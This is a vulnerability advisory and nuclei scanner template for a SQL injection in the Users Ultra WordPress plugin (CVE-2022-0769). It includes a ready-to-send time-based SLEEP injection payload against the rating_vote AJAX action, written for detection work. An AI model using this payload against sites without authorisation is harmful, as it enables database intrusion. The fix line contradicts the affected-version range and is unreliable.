Users Ultra <= 3.1.0 - SQL Injection

criticalseverity

9.8CVSS score

8.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Update to Users Ultra version 3.1.0 or later to mitigate this vulnerability.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "text/html") and contains(body, "You have to be logged in to leave your rate")

Run it with nuclei: nuclei -id CVE-2022-0769 -u <target>

The full check

id: CVE-2022-0769

info:
  name: Users Ultra <= 3.1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to Users Ultra version 3.1.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/05eab45d-ebe9-440f-b9c3-73ec40ef1141
    - https://wordpress.org/plugins/users-ultra/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0769
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0769
    cwe-id: CWE-89
    epss-score: 0.08326
    epss-percentile: 0.94992
    cpe: cpe:2.3:a:usersultra:users_ultra:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: usersultra
    product: users_ultra
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp,users-ultra,wpscan,sqli,wordpress,wp-plugin,usersultra,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "You have to be logged in to leave your rate")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from